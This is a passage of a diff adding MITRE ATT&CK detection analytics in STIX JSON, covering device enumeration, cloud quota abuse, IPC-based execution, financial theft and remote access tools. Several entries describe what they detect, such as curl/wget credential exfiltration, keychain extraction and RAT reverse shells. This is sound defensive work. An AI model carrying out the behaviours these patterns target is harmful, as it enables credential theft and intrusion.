"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLineRegex", + "description": "Regex patterns for device enumeration utilities (e.g., 'Get-PnpDevice', 'wmic path Win32_USBController')" + }, + { + "field": "TimeWindow", + "description": "Time threshold for grouping device discovery with follow-on access or manipulation" + }, + { + "field": "UserContext", + "description": "Filter privileged or service accounts known to legitimately execute enumeration scripts" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c8d9ad93-e4ce-4b00-89cb-8f0f6452923d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0491#AN1354", + "external_id": "AN1354" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1354", + "description": "Enumeration of USB and other peripheral hardware via udevadm, lshw, or /sys or /proc interfaces in proximity to collection or mounting behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open/read" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354", + "name": "linux:osquery", + "channel": "hardware_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutableList", + "description": "Set of binaries used for peripheral enumeration (e.g., 'lshw', 'lsusb', 'udevadm')" + }, + { + "field": "UserContext", + "description": "Tuning based on which users/scripts are authorized to query device state" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--479e5749-a746-4b17-9543-ca4b9d41576a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0491#AN1355", + "external_id": "AN1355" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1355", + "description": "Execution of system utilities like 'system_profiler' and 'ioreg' to enumerate hardware components or USB devices, particularly if followed by clipboard, file, or network activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process exec" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354", + "name": "macos:osquery", + "channel": "usb_devices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BinaryList", + "description": "Commands like 'system_profiler SPUSBDataType', 'ioreg -p IOUSB' that may indicate enumeration" + }, + { + "field": "TimeWindow", + "description": "Temporal grouping of enumeration with follow-on activity (e.g., clipboard capture, exfiltration)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--193f0293-0a53-430f-83c0-a69d0663479a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0492#AN1356", + "external_id": "AN1356" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1356", + "description": "Defenders should monitor for anomalous or unauthorized changes to cloud compute configurations that alter quotas, tenant-wide policies, subscription associations, or allowed deployment regions. From a defender\u2019s perspective, suspicious behavior chains include a sudden increase in compute quota requests followed by new instance or resource creation, policy modifications that weaken security restrictions, or enabling previously unused/unsupported cloud regions. Correlation across identity, configuration, and subsequent provisioning logs is critical to distinguish legitimate administrative activity from adversarial abuse.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "AWS:CloudTrail", + "channel": "RequestServiceQuotaIncrease" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Identity performing the quota or configuration change; tuned to filter known admins or automation accounts." + }, + { + "field": "TimeWindow", + "description": "Correlation period for configuration change followed by resource creation; tuned to environment norms." + }, + { + "field": "ChangeType", + "description": "Type of configuration being modified (quota, policy, region); tuned to organization-specific risk thresholds." + }, + { + "field": "GeoLocation", + "description": "Region where the configuration change originates; tuned to enterprise\u2019s expected operational geography." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0c6a8e7a-f9d0-479a-88c1-4ce26edba81c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0493#AN1357", + "external_id": "AN1357" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1357", + "description": "Detects anomalous use of COM, DDE, or named pipes for execution. Correlates creation or access of IPC mechanisms (e.g., named pipes, COM objects) with unusual parent-child process relationships or code injection patterns (e.g., Office spawning cmd.exe via DDE).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9a1578e-8653-4103-be23-cb52e0b1816e", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=17" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PipeNamePattern", + "description": "Environment-specific pipe names used legitimately vs anomalous (e.g., \\\\.\\pipe\\svcctl)." + }, + { + "field": "AllowedParentChildPairs", + "description": "Expected parent-child process lineage to minimize false positives (e.g., explorer.exe spawning outlook.exe)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ae8e028c-2c3a-4ac0-964f-d0b59533190d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0493#AN1358", + "external_id": "AN1358" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1358", + "description": "Detects abuse of UNIX domain sockets, pipes, or message queues for unauthorized code execution. Correlates unexpected socket creation with suspicious binaries, abnormal shell pipelines, or injected processes establishing IPC channels.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "socket: Suspicious creation of AF_UNIX sockets outside expected daemons" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open: Access to named pipes or FIFO in /tmp or /dev/shm by unexpected processes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SocketPathBaseline", + "description": "Expected UNIX socket paths used by system services and applications." + }, + { + "field": "FIFOAccessPatterns", + "description": "Legitimate processes expected to open pipes in shared directories." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3f42390d-2a44-4094-9cea-429f1286f8aa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0493#AN1359", + "external_id": "AN1359" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1359", + "description": "Detects anomalous use of Mach ports, Apple Events, or XPC services for inter-process execution or code injection. Focuses on unexpected processes attempting to send privileged Apple Events (e.g., automation scripts injecting into security-sensitive apps).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "macos:unifiedlog", + "channel": "Unusual Mach port registration or access attempts between unrelated processes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "macos:osquery", + "channel": "exec: Unexpected execution of osascript or AppleScript targeting sensitive apps" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedAppleEventTargets", + "description": "Whitelisted app-to-app Apple Event communications (e.g., Finder automation)." + }, + { + "field": "MachPortBaseline", + "description": "Baseline of Mach ports and XPC services normally used in the environment." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1dd7c76f-ff71-4597-8785-f7a730101a00", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0494#AN1360", + "external_id": "AN1360" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1360", + "description": "Defenders may observe attempts to disable dedicated crypto hardware on network devices, often visible through anomalous CLI commands, unexpected firmware or configuration updates, and degraded encryption performance. Suspicious indicators include commands that alter hardware acceleration settings (e.g., disabling AES-NI or crypto engines), modification of system image files, or logs showing fallback from hardware to software encryption. Network traffic analysis may also reveal a sudden downgrade in throughput or cipher negotiation behavior consistent with the absence of hardware acceleration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "networkdevice:config", + "channel": "Configuration changes referencing cryptographic hardware modules or disabling hardware acceleration" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedAdminAccounts", + "description": "Defines trusted administrator accounts allowed to modify encryption hardware settings; deviations trigger alerts." + }, + { + "field": "BaselineThroughput", + "description": "Expected performance metrics with hardware acceleration enabled; drops may indicate tampering." + }, + { + "field": "ApprovedFirmwareVersions", + "description": "Whitelist of vendor-signed firmware versions; unexpected updates could signal malicious modification." + }, + { + "field": "TimeWindow", + "description": "Period of correlation between configuration change and observed traffic downgrade; tunable to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f2aef85a-c1ea-4d1a-b359-32692c973cdc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0495#AN1361", + "external_id": "AN1361" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1361", + "description": "Monitor for anomalous access to financial applications, browser-based banking sessions, or enterprise ERP systems from Windows endpoints. Detect mass emailing of payment instructions, sudden rule changes in Outlook for financial staff, or use of clipboard data exfiltration tied to cryptocurrency wallet addresses.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FinanceAppList", + "description": "Baseline of finance-related executables or ERP processes to monitor closely." + }, + { + "field": "HighRiskAccounts", + "description": "Accounts belonging to finance, treasury, or executives that should be monitored with higher sensitivity." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--efdca1e1-5a4a-4039-99ab-1cdb7e50e52c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0495#AN1362", + "external_id": "AN1362" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1362", + "description": "Monitor server and endpoint logs for unusual outbound network connections to cryptocurrency nodes, unauthorized scripts accessing financial systems, or automation targeting payment file formats. Detect curl/wget activity aimed at exfiltrating transaction data or credentials from financial apps.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of curl, wget, or custom scripts accessing financial endpoints" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "Authentication attempts into finance-related servers from unusual IPs or times" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KnownFinanceIPs", + "description": "Whitelisted IPs for finance-related traffic to reduce noise." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ce3ebda8-d47e-4730-a1f4-3366d33a98ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0495#AN1363", + "external_id": "AN1363" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1363", + "description": "Monitor unified logs for access to payment applications, browser plug-ins, or Apple Pay services from non-standard processes. Detect anomalous use of Automator scripts or keychain extraction targeting financial account credentials.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Non-standard processes invoking financial applications or payment APIs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Anomalous keychain access attempts targeting payment credentials" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredApps", + "description": "Financial or payment applications to explicitly monitor for unauthorized use." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3bac57c4-1539-4048-b325-88032c78ed08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0495#AN1364", + "external_id": "AN1364" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1364", + "description": "Monitor SaaS financial systems (e.g., QuickBooks, Workday, SAP S/4HANA cloud) for unauthorized access, rule changes, or mass export of financial data. Detect anomalous transfers initiated via SaaS APIs or new MFA-disabled logins targeting finance apps.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:finance", + "channel": "Transaction/Transfer: Unusual or large transactions initiated outside business hours or by unusual accounts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TransactionThreshold", + "description": "Customizable monetary threshold above which financial transactions should be flagged." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--03364dc1-4b76-4a30-83cf-ae101b960d8e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0495#AN1365", + "external_id": "AN1365" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1365", + "description": "Monitor email and document management systems for fraudulent invoices, impersonation of vendors, or BEC-style payment redirections. Detect abnormal editing of invoice templates, or emails containing known fraud language combined with attachment delivery.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "MailSend: Outlook messages with suspicious subject/body terms (e.g., urgent payment, wire transfer) targeting finance teams" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "m365:office", + "channel": "Anomalous editing of invoice or payment document templates" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FraudTerms", + "description": "Adjustable keyword list for email and document fraud detection." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ba2056ee-77d7-49d4-a993-5806506964df", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0496#AN1366", + "external_id": "AN1366" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1366", + "description": "Chain of remote access tool behavior: (1) initial execution of remote-control/assist agent or GUI under user context; (2) persistence via service or autorun; (3) long-lived outbound connection/tunnel to external infrastructure; (4) interactive control signals such as shell or file-manager child processes spawned by the RAT parent.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:System", + "channel": "EventCode=7045" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=12" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation period binding start\u2192persistence\u2192egress\u2192child (default 15m, adjust per environment)." + }, + { + "field": "UserContext", + "description": "Differentiate help-desk/jump hosts and admin accounts from standard endpoints." + }, + { + "field": "ProcessAllowlist", + "description": "Known-good remote support tools; suppress expected events while still correlating anomalous sequences." + }, + { + "field": "InstallPathRegex", + "description": "Alert when services/agents execute from user-writable or temp paths." + }, + { + "field": "ExternalIPAllowlist", + "description": "Vendors\u2019 support clouds/CDNs to reduce false positives on egress detection." + }, + { + "field": "ShellSpawnRegex", + "description": "Define which child shells from GUI parents are acceptable versus suspicious." + }, + { + "field": "EgressHeuristics", + "description": "Thresholds for session duration, connection counts, and bytes_out/bytes_in ratio." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d90a4f16-b5e1-4daa-bf65-91112fe02761", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0496#AN1367", + "external_id": "AN1367" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1367", + "description": "Sequence of RAT agent execution, systemd persistence, and long-lived external egress; optional interactive shells spawned from the agent.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:PATH", + "channel": "WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Bind exec\u2192service\u2192egress events; extend for staged deployments." + }, + { + "field": "DaemonAllowlist", + "description": "Approved .service names/paths to avoid flagging corporate agents." + }, + { + "field": "SuspiciousChildProcesses", + "description": "Define shells/interpreters considered anomalous when spawned by GUI/agent parents." + }, + { + "field": "EgressHeuristics", + "description": "Flow heuristics for long-lived, client-heavy connections post-install." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--97f27df6-5041-437b-9aeb-58a9bc33a376", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0496#AN1368", + "external_id": "AN1368" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1368", + "description": "Electron/GUI or headless RAT execution followed by LaunchAgent/Daemon persistence and persistent external connections; interactive children (osascript/sh/curl) spawned by parent.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process exec of remote-control apps or binaries with headless/connect flags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:osquery", + "channel": "CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:osquery", + "channel": "CONNECT: Long-lived connections from remote-control parents to external IPs/domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedAppBundlePaths", + "description": "Legitimate remote-support apps under /Applications." + }, + { + "field": "LaunchdAllowlist", + "description": "Known-good LaunchAgents/Daemons identifiers." + }, + { + "field": "TimeWindow", + "description": "Window for correlating exec\u2192launchd\u2192egress events." + }, + { + "field": "EgressHeuristics", + 